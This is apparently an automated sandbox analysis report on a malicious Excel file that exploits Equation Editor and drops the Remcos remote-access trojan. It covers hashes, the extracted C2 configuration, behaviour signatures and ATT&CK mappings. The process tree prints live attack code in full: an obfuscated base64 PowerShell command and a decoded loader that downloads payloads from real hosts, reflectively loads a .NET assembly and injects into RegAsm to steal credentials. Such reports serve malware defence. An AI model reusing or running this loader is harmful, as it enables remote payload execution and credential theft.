Overview

overview

10

Static

static

1

P.O.109961.xls

windows7-x64

10

P.O.109961.xls

windows10-2004-x64

1

Analysis

  • max time kernel
    149s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16-04-2024 15:32

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    P.O.109961.xls

  • Size

    318KB

  • MD5

    2244bc077c05fd2f5a67fa7ef72559ff

  • SHA1

    a5e42c663a4eaf0468b903ca7aa1f264edba32fc

  • SHA256

    5d09b001c18384a9d5e8b31b9c4ee5ed77082e0a9b8783c34b3916b1534d2c21

  • SHA512

    361d5c5bded8994c672a3a40b0e959cae6c7e9f24a279ba663b968b9f8fc1d0332c2aef3df921d4148c9da0e3101090e012f45b72859f5e609b9efb46c3fbd08

  • SSDEEP

    6144:FuunJRXmY35qAOJl/YrLYz+WrNhZF+E+fgL+0dD8ivSbVM9MI248sD69qlDl5bpI:FvJRX/3bVM9MI5N64lDjihGu

Score
10/10
remcosremotehostcollectionratspywarestealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

nomoreremcos.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-2DQRZG

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 5 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 11 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Abuses OpenXML format to download file from external location
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
    collection
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

    exploit
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\P.O.109961.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1096
  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1948
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:336
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\imaginepixelloverkissu.vbs"
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:640
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreNgDgTrevDgTreDkDgTreNwDgTre4DgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreF8DgTredgBiDgTreHMDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDIDgTreNQDgTre4DgTreDgDgTreNDgTreDgTre2DgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreNgDgTrevDgTreDkDgTreNwDgTre5DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreXwB2DgTreGIDgTrecwDgTreuDgTreGoDgTrecDgTreBnDgTreD8DgTreMQDgTre3DgTreDEDgTreMgDgTre1DgTreDgDgTreODgTreDgTre1DgTreDDgTreDgTreMDgTreDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBEDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreRDgTreBhDgTreHQDgTreYQBGDgTreHIDgTrebwBtDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreC0DgTrebgBlDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreFMDgTreVDgTreBBDgTreFIDgTreVDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBSDgTreGUDgTreZgBsDgTreGUDgTreYwB0DgTreGkDgTrebwBuDgTreC4DgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreF0DgTreOgDgTre6DgTreEwDgTrebwBhDgTreGQDgTreKDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreFDgTreDgTreUgBPDgTreEoDgTreRQBUDgTreE8DgTreQQBVDgTreFQDgTreTwBNDgTreEEDgTreQwBBDgTreE8DgTreLgBWDgTreEIDgTreLgBIDgTreG8DgTrebQBlDgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBJDgTreEwDgTreVQBKDgTreC8DgTreMDgTreDgTre1DgTreDkDgTreLwDgTre1DgTreC4DgTreNDgTreDgTreuDgTreDMDgTreNwDgTrexDgTreC4DgTreNwDgTrewDgTreDEDgTreLwDgTrevDgTreDoDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2360
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/766/978/full/new_image_vbs.jpg?1712588469', 'https://uploaddeimagens.com.br/images/004/766/979/original/new_image_vbs.jpg?1712588500'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ILUJ/059/5.4.371.701//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1536
            • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
              5⤵
                PID:2612
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
                5⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:2456
                • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                  C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\duhsrdwpseftekssqqbaeomk"
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2080
                • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                  C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\fomdswhrgmxggrgeabobpbhtkup"
                  6⤵
                    PID:1156
                  • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                    C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\pqrwtoskuuplrxcirmidsfuktbhplp"
                    6⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2856
                  • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                    C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\kfnnpnmwhqtedyhokyo"
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:956
                  • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                    C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\uatgqgxxvyljfevsbbjpst"
                    6⤵
                    • Accesses Microsoft Outlook accounts
                    PID:2516
                  • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                    C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\xuyqryhrrhdwpsrwlmwrvguknz"
                    6⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:916
            • C:\Windows\SysWOW64\certutil.exe
              "C:\Windows\System32\certutil.exe" -decode "" "C:\Users\Admin\AppData\Local\DesktopPic\WallP.exe"
              3⤵
                PID:2388
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c dir /b *.png *.jpg *.bmp *.gif>"C:\Users\Admin\AppData\Local\DesktopPic\PicList.txt"
                3⤵
                  PID:452

            Network

            MITRE ATT&CK Matrix ATT&CK v13

            Initial Access

            Execution

            Exploitation for Client Execution

            1
            T1203

            Persistence

            Privilege Escalation

            Defense Evasion

            Modify Registry

            1
            T1112

            Credential Access

            Unsecured Credentials

            1
            T1552

            Credentials In Files

            1
            T1552.001

            Discovery

            System Information Discovery

            2
            T1082

            Query Registry

            1
            T1012

            Lateral Movement

            Collection

            Data from Local System

            1
            T1005

            Email Collection

            1
            T1114

            Exfiltration

            Command and Control

            Impact

            Resource Development

            Reconnaissance

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
              Filesize

              1KB

              MD5

              8a19e2f05bb9c727f7fb24ef7e6541e7

              SHA1

              fc4e212ec0c090fffc2c1b9c70fe5cb6c77592db

              SHA256

              7eb17f03f49ad906d62f715fe4e81e9341f8e7e900e429bc83d0787340dfa42f

              SHA512

              82b40631302b2338d74c48aaf0b848435020936eb99a1945a6a5397e123a6107eb5681d458595af641d4078383de41370afc882d94aec89e4c65f51e86c4c0d4

              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
              Filesize

              68KB

              MD5

              29f65ba8e88c063813cc50a4ea544e93

              SHA1

              05a7040d5c127e68c25d81cc51271ffb8bef3568

              SHA256

              1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

              SHA512

              e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
              Filesize

              724B

              MD5

              8202a1cd02e7d69597995cabbe881a12

              SHA1

              8858d9d934b7aa9330ee73de6c476acf19929ff6

              SHA256

              58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

              SHA512

              97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
              Filesize

              410B

              MD5

              7c90ea0df99c897f5d6664904236b0b2

              SHA1

              bdac03a27d383923710a1afa1718af19079f90a6

              SHA256

              bbd9d6ce1af437914c3f7acd29e84a43f6eb88b647dd3137686ef79c6c79c6ea

              SHA512

              42e7ebe04c3dd1d1861fe1f720d3a3747b6de3aac2078df2881ba039a558f77fde24e6cde0678ba8909561303691dcd7f6b65a7acea1702b77bd4459f8b5a28b

              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
              Filesize

              344B

              MD5

              f9156f7072197144d4eb3517d0e301cd

              SHA1

              101faf9dec6ea8422458a191fc91a92fbbe4f0bb

              SHA256

              ace61b45ad2d5a89038068b3d1d5881193f990c65e56a23c3d2314de8e376c56

              SHA512

              4677ee4f1d6d0fac33caaeaa155722364659501e6caaa43ecfc73e6b14c91fd38a0765640594442d721b0a68db5da8ba43469e98797b5dd7c8354d8006a6a382

              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
              Filesize

              344B

              MD5

              df65504f64be0024c34f20f33b8870cd

              SHA1

              e308e55a6a09457c6cc88b6da1f7d10eb5e1d4f6

              SHA256

              c718f169d955517069d652fcf5e41f9d01878d36f59e126ccdceef9619c5061f

              SHA512

              aa0f21ba4cc6884ea9e0a884c28d31c66c02c96059af3c4623f35c8420678131dda1f5e43bddf2477c271d35774576f0a3475b245caeae88f7bbf61c933b0479

              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
              Filesize

              392B

              MD5

              8cb32548caa380d4c4e09f82d9ef7b2d

              SHA1

              fd145eea2d7b08ce1f325666d3a5f97701ad6f9c

              SHA256

              8438981513230e8ef26d920a13ff36a6c09723e4072fe4b09b9a37ffd63235a1

              SHA512

              12b042c2fcea4999a46eb0690ec2b10677f794e1cb7c9e985b75c5743efa31626a81901b1a6df5689a3eeb5e0054c8d579a89e3d7befd1049bb87aa03144d4f5

              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD
              Filesize

              128KB

              MD5

              3cd43872a6c818441ac2caaae9681e9f

              SHA1

              1c1852d82dd0569496bff7a9908be8f4905f55e2

              SHA256

              327bf0e5dd77a6a8084c0961fae510c87072d3670f7d6a0e731d67fbca26459e

              SHA512

              d408c169cbaf3983f5d979b53abc35b352d83000a03c64f0899f9303371ceb5ada6ec06c80bae9299a28d029d8fe79b45a381b898bbd770b64c275306ca958f0

              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\wegendideaofloverstogetbackinthelinetounderstandhowmuchilikeyoumorethanallseeher____youmygirlialwayslove[1].doc
              Filesize

              70KB

              MD5

